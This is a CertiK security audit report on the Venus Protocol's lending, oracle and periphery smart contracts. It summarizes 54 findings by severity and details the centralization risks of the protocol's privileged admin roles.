CERTIK

Venus Labs - Core Feature Reaudit

Security Assessment

CertiK Assessed on Jun 16th, 2026

CertiK Assessed on Jun 16th, 2026

Venus Labs - Core Feature Reaudit

The security assessment was prepared by CertiK.

Executive Summary

TYPES	ECOSYSTEM	METHODS
Lending	Binance Smart Chain (BSC)	Manual Review, Static Analysis

LANGUAGE	TIMELINE
Solidity	Preliminary comments published on 05/15/2026 Final report published on 06/16/2026

Vulnerability Summary

54	21	0	33	0
Total Findings	Resolved	Partially Resolved	Acknowledged	Declined

2	Centralization	2 Acknowledged	Centralization findings highlight privileged roles & functions and their capabilities, or instances where the project takes custody of users' assets.
0	Critical		Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.
0	Major		Major risks may include logical errors that, under specific circumstances, could result in fund losses or loss of project control.
10	Medium	4 Resolved, 6 Acknowledged	Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.
17	Minor	8 Resolved, 9 Acknowledged	Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.
25	Informational	9 Resolved, 16 Acknowledged	Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

TABLE OF CONTENTS | VENUS LABS - CORE FEATURE REAUDIT

CODEBASE | VENUS LABS - CORE FEATURE REAUDIT

Repository

- **Core:** https://github.com/VenusProtocol/venus-protocol/
- **Periphery:** https://github.com/VenusProtocol/venus-periphery/
- **Oracle:** https://github.com/VenusProtocol/oracle/

Commit

Core

- Base: 3c4d06f4362eb849f701ae173e31fbe94c39b4b2
- Update 1: 2f3c0cdb884e60dcaab240f56d764e4d839de6a3
- Update 2: 432e985eb649c57b4f2d4e8bc1eafc2d87074d97
- Update 3: 734cbd9c07c45b798a83d3aaddd9623cc2c7e34c

Periphery

- Base: 28f98928c45a52f5ccd7dd6a2dc4b7f6733e05eb
- Update 1: b8ad0b302ed4234c5ad302f8cc67e00ec8045ffc
- Update 2 and 3: 39c849c88dcd9432d234afc2f87dcca75a1eba38

Oracle

- Base: 15ff4fc06ea47b12c4ba669ce6ef56e1f113b674
- Update 1: 165b7c588bf4a960c508a29c38c6a38d1afd0149
- Update 2: ddbf66dd953a944d1937733c1eed7096c1db8183
- Update 3: de41efd728137d1862e56ea832e6eb9b0f110bf8

Audit Scope

The files in scope are listed in the appendix.

APPROACH & METHODS

VENUS LABS - CORE FEATURE REAUDIT

This audit was conducted for Venus Labs to evaluate the security and correctness of the smart contracts associated with the Venus Labs - Core Feature Reaudit project. The assessment included a comprehensive review of the in-scope smart contracts. The audit was performed using a combination of Manual Review and Static Analysis.

The review process emphasized the following areas:

- Architecture review and threat modeling to understand systemic risks and identify design-level flaws.
- Identification of vulnerabilities through both common and edge-case attack vectors.
- Manual verification of contract logic to ensure alignment with intended design and business requirements.
- Dynamic testing to validate runtime behavior and assess execution risks.
- Assessment of code quality and maintainability, including adherence to current best practices and industry standards.

The audit resulted in findings categorized across multiple severity levels, from informational to critical. To enhance the project's security and long-term robustness, we recommend addressing the identified issues and considering the following general improvements:

- Improve code readability and maintainability by adopting a clean architectural pattern and modular design.
- Strengthen testing coverage, including unit and integration tests for key functionalities and edge cases.
- Maintain meaningful inline comments and documentations.
- Implement clear and transparent documentation for privileged roles and sensitive protocol operations.
- Regularly review and simulate contract behavior against newly emerging attack vectors.

OVERVIEW | VENUS LABS - CORE FEATURE REAUDIT

This audit is a reaudit of the Venus protocol, covering the in-scope contracts in the following repositories at the following commits:

- `VenusProtocol/venus-protocol` at commit `3c4d06f4362eb849f701ae173e31fbe94c39b4b2`
- `VenusProtocol/venus-periphery` at commit `28f98928c45a52f5ccd7dd6a2dc4b7f6733e05eb`
- `VenusProtocol/oracle` at commit `15ff4fc06ea47b12c4ba669ce6ef56e1f113b674`

The scope covers the Compound V2 core (Comptroller, VToken markets, Liquidator, lenses, vBNB admin) together with Venus-specific extensions on top of it: e-mode (Efficiency Mode) pools and isolated e-mode categories, the flash-loan subsystem at both the Comptroller and VToken level, account delegation, the periphery (LeverageStrategiesManager, SwapRouter, SwapHelper, DeviationSentinel and its DEX-adapter oracles), and the multi-source ResilientOracle with its capped correlated-token adapter family. This reaudit follows the hardening of several periphery and core contracts; see the prior reports for the chronology at https://skynet.certik.com/projects/venus .

DEPENDENCIES | VENUS LABS - CORE FEATURE REAUDIT

Third Party Dependencies

The protocol serves as the underlying entity to interact with third party protocols. The third parties that the contracts interact with are:

- Oracles (Chainlink, RedStone, Binance, PancakeSwap V3, Uniswap V3...)
- ERC20 tokens (as the underlying for each market)
- DEX routers (used by `SwapHelper` for swap execution)

The scope of the audit treats third party entities as black boxes and assumes their functional correctness. However, in the real world, third parties can be compromised and this may lead to lost or stolen assets. Moreover, updates to the state of a project contract that are dependent on the read of the state of external third party contracts may make the project vulnerable to read-only reentrancy. In addition, upgrades of third parties can possibly create severe impacts, such as increasing fees of third parties, migrating to new LP pools, etc.

Assumptions

Within the scope of the audit, assumptions are made about the intended behavior of the protocol in order to inspect consequences based on those behaviors. Assumptions made within the scope of this audit include:

- vBNB is not upgradeable, and is not expected to be added to any e-mode groups or to enable the flash-loan subsystem.
- Venus will not support any tokens that charge a fee on transfer or utilize callbacks that may be used for reentrancy.
- The `isBorrowAllowed` flag is expected to be configured to `true` for all current markets in the core pool, and updated to `true` for any new market added to the core pool if borrows are intended to be allowed there.
- The off-chain Venus backend signer used by `SwapHelper` correctly validates the swap payloads it signs (route safety, slippage, recipient, expected amounts). The on-chain contract has no enforcement of this beyond signature recovery.
- The off-chain `DeviationSentinel` keeper bot performs its own sanity checks (independent reference comparison, multi-poll confirmation, pool-liquidity filters) before calling `handleDeviation()`. The on-chain contract does not enforce these checks.
- Sentinel oracle pools are configured against bridge assets with deep liquidity and redundant `ResilientOracle` feed configuration.

Recommendations

We recommend constantly monitoring the third parties involved to mitigate any side effects that may occur when unexpected changes are introduced, as well as vetting any third party contracts used to ensure no external calls can be made before updates to its state. In addition, we recommend all assumptions about the behavior of the project are thoroughly reviewed and, if the assumptions do not match the intention of the protocol, documenting the intended behavior for review. In particular, the off-chain operational assumptions (backend signer policy, keeper bot logic, sentinel pool selection,

`protocolShareReserve` configuration) should be documented as formal parts of the protocol's threat model, since the on-chain contracts do not enforce them and security depends on operator discipline.

FINDINGS | VENUS LABS - CORE FEATURE REAUDIT

54	0	2	0	10	17	25
Total Findings	Critical	Centralization	Major	Medium	Minor	Informational

This report has been prepared for Venus Labs to identify potential vulnerabilities and security issues within the reviewed codebase. During the course of the audit, a total of 54 issues were identified. Leveraging a combination of Manual Review & Static Analysis the following findings were uncovered:

ID	Title	Category	Severity	Status
VLC-01	**Centralization Related Risks**	**Centralization**	**Centralization**	**Acknowledged**
VLC-42	Manual Sentinel Price Override Introduces A Significant Governance Trust Assumption	Design Issue, Governance, Financial Manipulation	Centralization	Acknowledged
VLC-02	Manipulable DEX Spot Read In SentinelOracle Can Trigger Incorrect Protective Actions On Thin Markets	Financial Manipulation	Medium	Acknowledged
VLC-03	Cross-Market Solvency Checks Use Stale Debt From Untouched Markets	Design Issue, Logical Issue	Medium	Acknowledged
VLC-04	`unlistMarket()` Leaves AllMarkets Dirty And Permanently Bricks `seizeVenus()` With No On-Chain Recovery	Volatile Code	Medium	Resolved
VLC-05	Insolvent Accounts Can Redeem `claimVenusAsCollateral` Rewards Because Minted `vXVS` Does Not Establish Market Membership	Coding Issue	Medium	Resolved
VLC-06	Borrower-Specific Forced Liquidations Can Be Blocked By The Liquidator VAI-First Pre-Check	Inconsistency	Medium	Resolved
VLC-07	Sentinel's Auto-Unpause Overrides Admin Pauses Set Outside The Sentinel	Volatile Code, Logical Issue	Medium	Acknowledged

ID	Title	Category	Severity	Status
VLC-08	Front-Running And Quote Theft Of Signed Swap Payloads Through LeverageStrategiesManager	Volatile Code, Design Issue	Medium	Acknowledged
VLC-09	`BinanceOracle` Pricing Relies On Live Token Metadata	Design Issue	Medium	Acknowledged
VLC-38	Market Unlisting Removes Remaining Positions From Active Accounting Without Verifying Full Market Exit	Coding Issue, Design Issue	Medium	Acknowledged
VLC-48	Partial Flash Loan Repayment Clears Active Loan Accounting Before Debt Accrual	Design Issue	Medium	Resolved
VLC-10	Forced Native Transfers Can Distort `vBNB` Exchange-Rate Accounting In Attacker-Dominated Low-Supply Markets	Financial Manipulation	Minor	Acknowledged
VLC-11	Missing `maxAssets` Enforcement	Design Issue	Minor	Resolved
VLC-12	Zero-Price Entered Markets Can Block Liquidation Of Undercollateralized Accounts	Volatile Code	Minor	Resolved
VLC-13	Incorrect `redeemAmount` Calculation In `_handleExitSingleAsset` Causes Unnecessary Collateral Over-Redemption	Incorrect Calculation, Logical Issue	Minor	Acknowledged
VLC-14	`accrueInterest()` Auto-Reduce Branch Is Missing A Zero-Address Guard On `protocolShareReserve` (Reserve Burn Or Freeze)	Volatile Code	Minor	Acknowledged
VLC-15	Stale VAI Debt Can Weaken The VAI-First Liquidation Policy	Inconsistency	Minor	Resolved
VLC-16	Ownership Initialization In Upgrade Flows Depends On Execution Context	Volatile Code	Minor	Acknowledged

ID	Title	Category	Severity	Status
VLC-17	Pending Redemption Queue Can Delay Protocol-Share Liquidation Proceeds	Denial of Service	Minor	Acknowledged
VLC-18	Dust-Return Sweep Uses Raw Balance Instead Of Operation Deltas	Volatile Code	Minor	Resolved
VLC-19	`ChainlinkOracle` Uses Live Token Decimals For Price Scaling	Volatile Code	Minor	Acknowledged
VLC-20	Temporary Low Exchange-Rate Snapshots Can Persist As Oracle Underpricing	Volatile Code	Minor	Acknowledged
VLC-21	Pre-Existing `SwapHelper` Balances Are Credited As Swap Output, Inflating Venus Accounting For The Current Caller	Volatile Code, Design Issue	Minor	Acknowledged
VLC-49	Documented Same-Transaction Price-Freshness Guarantee Not Upheld By The Cache Logic In The Derivation Bounder Oracle	Inconsistency	Minor	Resolved
VLC-50	`claimVenus()` Ignores The Liquidity-Check Error Code And Fails Open, Releasing Liquid XVS To A Shortfall Holder During Pricing Failures	Volatile Code	Minor	Resolved
VLC-51	Supply-Cap Emergency Halt Can Be Skipped On An Exchange-Rate-Read Failure	Volatile Code	Minor	Resolved
VLC-55	`DeviationSentinel` Fails Open When An Oracle Reverts	Volatile Code	Minor	Acknowledged
VLC-56	`CorrelatedTokenOracle.setSnapshot()` Lacks Input Validation, Allowing Silent Cap-Disable Or Price DoS	Volatile Code, Denial of Service	Minor	Resolved
VLC-22	Unclear Comment	Coding Style	Informational	Resolved

ID	Title	Category	Severity	Status
VLC-23	Lens Helper Functions Use Getter-Style Interfaces While Internally Performing State-Changing Operations	Design Issue	Informational	Resolved
VLC-24	Inconsistent Use Of Named Return Values And Named Mapping Keys In Interfaces And Storage	Coding Style	Informational	Acknowledged
VLC-25	Legacy Code Artifacts In `_addReservesFresh()`	Coding Issue	Informational	Resolved
VLC-26	Local Variable Naming Inconsistency In VToken	Coding Style	Informational	Resolved
VLC-27	Redundant Cast In `getCorePoolMarket()`	Coding Style	Informational	Resolved
VLC-28	Misleading Oracle Freshness Metadata	Coding Issue	Informational	Acknowledged
VLC-29	Unbounded Loops May Impact Operability As Pool Count Grows	Volatile Code	Informational	Acknowledged
VLC-30	`sweepTokenAndSync()` Documentation Understates Its Accounting Role	Governance	Informational	Resolved
VLC-31	`DeviationSentinel` Does Not Validate Nonzero Core Pool Comptroller Address At Construction	Inconsistency	Informational	Acknowledged
VLC-32	`OneJumpOracle` Precondition On `INTERMEDIATE_ORACLE` Is Undocumented	Volatile Code	Informational	Resolved
VLC-33	Silent Sentinel Disablement When The DEX Pool's Bridge-Asset Price Reverts	Volatile Code	Informational	Acknowledged
VLC-34	Risks If `stETH` Market Price Declines Significantly	Design Issue	Informational	Acknowledged

ID	Title	Category	Severity	Status
VLC-35	`WstETHOracle` Equivalence Mode Can Ignore StETH Market Price	Design Issue	Informational	Acknowledged
VLC-39	Global Market Membership Persists Despite Zero Collateral Value After Pool Switch	Design Issue	Informational	Acknowledged
VLC-40	Partial Settlement In `releaseToVault()` May Discard Accrued Vault Rewards	Design Issue, Volatile Code	Informational	Acknowledged
VLC-41	Privileged Role Can Arbitrarily Confiscate Users' XVS Rewards	Governance	Informational	Acknowledged
VLC-43	Market Freshness Assumptions	Volatile Code, Design Issue	Informational	Acknowledged
VLC-44	Oracle Outages Apply The Same Exit/Redeem Restriction Across Users With Different Risk Profiles	Design Issue	Informational	Acknowledged
VLC-45	Ownership Initializer Correctness Depends On OpenZeppelin Version Semantics	Language Version	Informational	Acknowledged
VLC-46	VBNB Appears Incompatible With Flash Loans But Does Not Explicitly Block Flash-Loan Functions	Logical Issue, Volatile Code	Informational	Acknowledged
VLC-47	`updateAssetPrice()` Success Does Not Guarantee Correlated-Oracle Snapshot Advancement	Coding Issue	Informational	Resolved
VLC-52	Ambiguous `minPrice` / `maxPrice` Naming Conflates The Distinct Collateral And Debt Prices In `DeviationBoundedOracle`	Coding Style	Informational	Acknowledged
VLC-53	Missing On-Chain `liquidationThreshold × liquidationIncentive < 1` Invariant	Volatile Code	Informational	Resolved

ID	Title	Category	Severity	Status
VLC-54	Diamond's `addFunctions()` Does Not Reject Selectors That Collide With Proxy/Immutable Functions	Volatile Code	Informational	Acknowledged

VLC-01 | Centralization Related Risks

Category	Severity	Location	Status
Centralization	**Centralization**		**Acknowledged**

Description

This section summarises the centralization surface of the in-scope contracts. Because the same surface has been reviewed in earlier CertiK audits, the items below may overlap substantially with what is already documented there. We recommend reading this list together with the prior audits at https://skynet.certik.com/projects/venus to ensure no item is missed.

Core

SetterFacet

In the contract `SetterFacet`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setCollateralFactor(VToken, uint256, uint256)`
- `setLiquidationIncentive(address, uint256)`
- `setCollateralFactor(uint96, VToken, uint256, uint256)`
- `setLiquidationIncentive(uint96, address, uint256)`
- `setIsBorrowAllowed(uint96, address, bool)`
- `_setProtocolPaused(bool)`
- `_setActionsPaused(address[], uint8[], bool)`
- `_setMarketBorrowCaps(address[], uint256[])`
- `_setMarketSupplyCaps(address[], uint256[])`
- `_setForcedLiquidation(address, bool)`
- `_setForcedLiquidationForUser(address, address, bool)`
- `setFlashLoanPaused(bool)`
- `setWhiteListFlashLoanAccount(address, bool)`
- `setPoolLabel(uint96, string)`
- `setPoolActive(uint96, bool)`
- `setAllowCorePoolFallback(uint96, bool)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Set the collateral factor and liquidation threshold of any market in any pool to allow them to borrow more than should be allowed or cause users to become liquidateable when they should not be.
- Set the liquidation incentive for any market in any pool to receive more tokens than they should for liquidating or cause other liquidators to receive less tokens than they should for liquidating.
- Set the `isBorrowAllowed` bool in any market of any pool, allowing them to disallow borrowing when it should be allowed or allow borrowing when it should be disallowed.
- Pause the entire protocol via `_setProtocolPaused()`, halting all user actions.
- Pause or unpause specific actions (`MINT`, `REDEEM`, `BORROW`, `REPAY`, `SEIZE`, `LIQUIDATE`, `TRANSFER`, `ENTER_MARKET`, `EXIT_MARKET`) on arbitrary markets, including reopening actions paused by other privileged actors.
- Set the borrow or supply caps on any market to zero (denial of service on new positions) or to an arbitrarily large value (allowing over-supply or over-borrowing).
- Toggle forced-liquidation on a market or on a specific user, allowing positions to be liquidated outside normal shortfall rules.
- Pause or unpause the flash-loan subsystem and add or remove addresses from the flash-loan allowlist.
- Reconfigure e-mode pool labels, activate or deactivate any pool entirely, and toggle whether a pool falls back to the core pool's risk parameters.

In the contract `SetterFacet`, the `admin` account has direct authority to call the following functions:

- `_setAccessControl(address)`
- `_setLiquidatorContract(address)`
- `_setPauseGuardian(address)`
- `_setVAIController(VAIControllerInterface)`
- `_setVAIMintRate(uint256)`
- `_setTreasuryData(address, address, uint256)` (callable by `admin` or by the current `treasuryGuardian`)
- `_setComptrollerLens(ComptrollerLensInterface)`
- `_setVenusVAIVaultRate(uint256)`
- `_setVAIVaultInfo(address, uint256, uint256)`
- `_setXVSToken(address)`
- `_setXVSVToken(address)`
- `__setPriceOracle(PriceOracle)`
- `__setCloseFactor(uint256)`

Any compromise to the `admin` account may allow the hacker to take advantage of this authority and do the following:

- Repoint `AccessControlManager` itself, effectively rewriting the role-grant structure of the entire protocol.
- Replace the `Liquidator` contract address whitelisted in the Comptroller, allowing the hacker's contract to be the only authorised liquidator.

- Replace the `PriceOracle` reference, redirecting every price lookup to an attacker-controlled oracle and making the protocol act on arbitrary prices.
- Replace the `ComptrollerLens` reference, redirecting all liquidity-math callbacks to attacker-controlled logic.
- Replace the `VAIController`, `VAIVault`, `XVS` token, and `XVS` vToken references, redirecting VAI minting/redemption, XVS distributions, and reward seizure to attacker-controlled contracts.
- Set the protocol-wide `closeFactor` to extreme values, allowing liquidators to seize a borrower's entire position in a single call or, conversely, preventing meaningful liquidations.
- Rotate the `pauseGuardian` or `treasuryGuardian` addresses, gaining or revoking emergency pause and treasury authority.
- Reconfigure `treasuryData` (treasury address, percentage, and guardian) to redirect protocol fees.

MarketFacet

In the contract `MarketFacet`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `createPool(string)`
- `addPoolMarkets(uint96[], address[])`
- `removePoolMarket(uint96, address)`
- `unlistMarket(address)`
- `_supportMarket(VToken)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Create a new e-mode pool.
- Add any new markets they want to an e-mode pool.
- Remove any market from any e-mode pool.
- Unlist any existing market in the core pool (after first satisfying the pause/cap preconditions), permanently removing it from the protocol's listed set.
- List any new vToken in the core pool, including a malicious vToken implementation, enabling supply, borrow, and seizure of attacker-controlled assets within Venus.

RewardFacet

In the contract `RewardFacet`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `seizeVenus(address[], address)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Seize accrued XVS rewards from arbitrary user accounts, redirecting them to any recipient.

In the contract `RewardFacet`, the `admin` account has direct authority to call the following functions:

- `_grantXVS(address, uint256)`

Any compromise to the `admin` account may allow the hacker to take advantage of this authority and do the following:

- Grant arbitrary amounts of XVS held by the Comptroller to any recipient, draining the protocol's XVS reserve allocated to incentives.

PolicyFacet

In the contract `PolicyFacet`, the `admin` account has direct authority to call the following functions:

- `_setVenusSpeeds(VToken[], uint256[], uint256[])`

Any compromise to the `admin` account may allow the hacker to take advantage of this authority and do the following:

- Set XVS supply and borrow distribution speeds for any market to arbitrary values, including diverting all XVS incentives to attacker-controlled markets or zeroing speeds to halt distribution.

Diamond

In the contract `Diamond`, the `admin` account (the Unitroller admin) has direct authority to call the following functions:

- `diamondCut(IDiamondCut.FacetCut[])`
- `_become(Unitroller)`

Any compromise to the `admin` account may allow the hacker to take advantage of this authority and do the following:

- Add, replace, or remove arbitrary facets and function selectors in the Comptroller diamond, effectively replacing the protocol's risk and policy logic with attacker-controlled code without changing any storage or breaking external integrations.
- Become the active diamond implementation behind the Unitroller proxy, taking over the storage of the live Comptroller.

VToken

In the contract `VToken` (and by inheritance `VBep20`, `VBep20Delegate`, `VBNB`), the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `_setReserveFactor(uint256)`
- `_reduceReserves(uint256)`
- `setReduceReservesBlockDelta(uint256)`
- `setFlashLoanEnabled(bool)`
- `setFlashLoanFeeMantissa(uint256, uint256)`
- `_setInterestRateModel(InterestRateModel)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of

this authority and do the following:

- Set the reserve factor of any market to extreme values, diverting all interest income to the protocol reserve or, conversely, preventing reserve accumulation.
- Reduce reserves and redirect the withdrawn cash to `protocolShareReserve` at will.
- Reconfigure the `reduceReservesBlockDelta`, controlling how often reserves are auto-swept.
- Enable or disable flash loans on any market, and set the flash-loan fee to extreme values.
- Replace the interest rate model with an attacker-controlled contract, allowing arbitrary interest accrual against borrowers or suppliers.

In the contract `VToken`, the `admin` account has direct authority to call the following functions:

- `_setPendingAdmin(address payable)`
- `setAccessControlManager(address)`
- `setProtocolShareReserve(address payable)`
- `initialize(...)` (once)
- `_setComptroller(ComptrollerInterface)`

Any compromise to the `admin` account may allow the hacker to take advantage of this authority and do the following:

- Initiate the two-step admin transfer to any address, eventually replacing the protocol admin.
- Repoint `AccessControlManager` per market, effectively detaching the market from protocol-wide role management.
- Repoint `protocolShareReserve` to an attacker-controlled address, redirecting all reserve sweeps from the auto-reduce flow.
- Repoint the market's `Comptroller`, decoupling the vToken from the rest of the protocol's risk checks.

In the contract `VBep20`, the `admin` account also has direct authority to call:

- `sweepTokenAndSync(uint256)`

Any compromise to the `admin` account may allow the hacker to take advantage of this authority and do the following:

- Withdraw arbitrary amounts of underlying tokens from a vToken contract and resynchronise `internalCash`, effectively bypassing the donation-attack hardening to extract funds.

In the contracts `VBep20Delegator` and `VBep20Delegate`, the `admin` account also has direct authority to call:

- `_setImplementation(address, bool, bytes)` (on `VBep20Delegator`)
- `_becomeImplementation(bytes)` and `_resignImplementation()` (on `VBep20Delegate`)

Any compromise to the `admin` account may allow the hacker to take advantage of this authority and do the following:

- Replace the implementation contract of any upgradeable VBep20 market with an attacker-controlled implementation, taking full control of that market's accounting and user funds.

VBNBAdmin

In the contract `VBNBAdmin`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setInterestRateModel(address)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Replace the interest rate model of the non-upgradeable `vBNB` market with an attacker-controlled contract, dictating arbitrary borrow rates on the largest market in the protocol.

In the contract `VBNBAdmin`, the `owner` account has direct authority to call the following functions:

- `setProtocolShareReserve(IProtocolShareReserve)`
- `fallback(bytes)` (relays arbitrary calls to the underlying `vBNB` contract using `VBNBAdmin`'s admin authority on that contract)

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Repoint `protocolShareReserve` for `vBNB`, redirecting native-currency reserves to an attacker-controlled address.
- Via the `fallback()`, call any function on the underlying non-upgradeable `vBNB` contract that requires its `admin` (which is `VBNBAdmin`), including reserve management, ACM rotation, and any other administrative path exposed by `vBNB`. The `owner` of `VBNBAdmin` therefore inherits the full administrative surface of `vBNB`.

Liquidator

In the contract `Liquidator`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `restrictLiquidation(address)`
- `unrestrictLiquidation(address)`
- `addToAllowlist(address, address)`
- `removeFromAllowlist(address, address)`
- `setTreasuryPercent(uint256)`
- `setMinLiquidatableVAI(uint256)`
- `setPendingRedeemChunkLength(uint256)`
- `pauseForceVAILiquidate()`
- `resumeForceVAILiquidate()`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Mark borrower accounts as `restricted`, allowing only allowlisted liquidators to liquidate them and excluding ordinary liquidators from those positions.
- Add or remove addresses from per-borrower liquidator allowlists, controlling who may liquidate restricted accounts.
- Set the treasury percentage on liquidation seizures to extreme values, diverting an excessive share of liquidated collateral to the protocol treasury or zeroing the protocol's share.
- Set `minLiquidatableVAI` to disable or distort VAI-debt liquidations.
- Pause or resume the forced-VAI-liquidation mechanism.

In the contract `Liquidator`, the `owner` account has direct authority to call the following functions:

- `setProtocolShareReserve(address payable)`

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Repoint the `protocolShareReserve` recipient of liquidation revenue to an attacker-controlled address.

BUSDLiquidator

In the contract `BUSDLiquidator`, the `owner` account has direct authority to call the following functions:

- `setLiquidatorShare(uint256)`
- `sweepToken(IERC20Upgradeable)`

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Reset the share of seized collateral routed to liquidators on BUSD-specific liquidations, including setting it to zero or to confiscatory levels.
- Sweep any ERC-20 balance held by `BUSDLiquidator` (including legitimate residuals or accidental deposits) to an arbitrary address.

Oracle

ResilientOracle

In the contract `ResilientOracle`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `pause()`
- `unpause()`
- `setOracle(address, address, uint8)`
- `enableOracle(address, uint8, bool)`
- `setTokenConfig(TokenConfig)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Pause the entire resilient oracle, causing every price lookup to revert and halting accrual, mint, redeem, borrow, repay, and liquidation across the protocol.
- Replace the `MAIN`, `PIVOT`, or `FALLBACK` oracle for any asset with an attacker-controlled adapter, redirecting the protocol's price source for that asset.
- Enable or disable any oracle role for any asset, in particular silently disabling the cross-validation invariant (e.g. by turning off the `PIVOT` so the `MAIN` is consumed without anchor validation).
- Reconfigure a whole `TokenConfig` (all three oracle roles, the per-role enable flags, and the caching flag) in one call, swapping an asset's entire price-resolution pipeline.

BoundValidator

In the contract `BoundValidator`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setValidateConfig(ValidateConfig)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Configure or relax the upper/lower bound ratios used to validate `MAIN` and `FALLBACK` prices against the `PIVOT`. Wide bounds neuter the cross-check entirely; narrow bounds DoS price resolution by rejecting any legitimate deviation.

ChainlinkOracle

In the contract `ChainlinkOracle`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setDirectPrice(address, uint256)`
- `setTokenConfig(TokenConfig)` / `setTokenConfigs(TokenConfig[])`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Set an arbitrary direct USD price for any asset; the override has unconditional precedence over the Chainlink feed and persists indefinitely with no expiry, so the protocol consumes that price for every dependent operation until explicitly cleared.
- Repoint the Chainlink feed address or stale-period for any asset, replacing the underlying feed with an attacker-controlled one or relaxing freshness so stale answers are accepted.

BinanceOracle

In the contract `BinanceOracle`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setMaxStalePeriod(string, uint256)`
- `setSymbolOverride(string, string)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Set the max stale period for any symbol to extreme values, accepting indefinitely stale Binance feed answers or DoS'ing the feed by forcing zero tolerance.
- Override the symbol lookup for any asset, redirecting price resolution to a different Binance feed than the asset's actual symbol.

In the contract `BinanceOracle`, the `owner` account has direct authority to call the following functions:

- `setFeedRegistryAddress(address)`

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Repoint the `FeedRegistry` reference, redirecting all Binance feed lookups to an attacker-controlled registry that can fabricate arbitrary prices.

ReferenceOracle

In the contract `ReferenceOracle`, the `owner` account has direct authority to call the following functions:

- `setOracle(address asset, OracleInterface oracle)`

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Set the reference oracle for any asset to an attacker-controlled contract, redirecting every reference-oracle lookup for that asset to fabricated prices.

CorrelatedTokenOracle (base for `OneJumpOracle`, `WstETHOracle`, `WBETHOracle`, `SFraxOracle`, `EtherfiAccountantOracle`, etc.)

In the contract `CorrelatedTokenOracle`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setSnapshot(uint256, uint256)`
- `setGrowthRate(uint256, uint256)`
- `setSnapshotGap(uint256)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Set the `snapshotMaxExchangeRate` and `snapshotTimestamp` to arbitrary values, instantly shifting the CAPO cap up or down. Setting an extreme upward value disables the cap entirely (the actual rate always stays below it); setting an extreme downward value clamps every legitimate price to a depressed value.
- Reconfigure the per-second growth rate and snapshot interval, relaxing the cap's growth limit (allowing implausibly fast price moves) or tightening it (DoS'ing legitimate growth).
- Reconfigure the snapshot gap, removing the hysteresis cushion at each reset or inflating it to expand the cap's effective drift rate.

SFrxETHOracle

In the contract `SFrxETHOracle`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setMaxAllowedPriceDifference(uint256)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Relax the maximum allowed deviation between the sFraxEthFraxOracle's low and high price to extreme values, accepting manipulated quotes from the upstream oracle.

Periphery

SwapHelper

In the contract `SwapHelper`, the `owner` account has direct authority to call the following functions:

- `setBackendSigner(address)`

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Rotate `backendSigner` to an attacker-controlled EOA, after which the attacker can sign arbitrary multicall payloads. Combined with `genericCall()`, this gives the attacker the ability to invoke any function on any address from within `SwapHelper`'s context, including sweeps of any token held by the helper and approvals to attacker-controlled spenders.

In the contract `SwapHelper`, the `onlyOwnerOrSelf` modifier additionally gates `sweep()`, `approveMax()`, and `genericCall()`. Under normal operation these are reached only via backend-signed `multicall()` payloads, but a direct call by the `owner` bypasses the signature check entirely.

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Sweep any token balance held by `SwapHelper` to any address without a backend signature.
- Approve any spender to drain any token balance held by `SwapHelper`.
- Invoke `genericCall(target, data)` to execute arbitrary calldata against any contract, with `SwapHelper` as the caller (including any allowances granted to it).

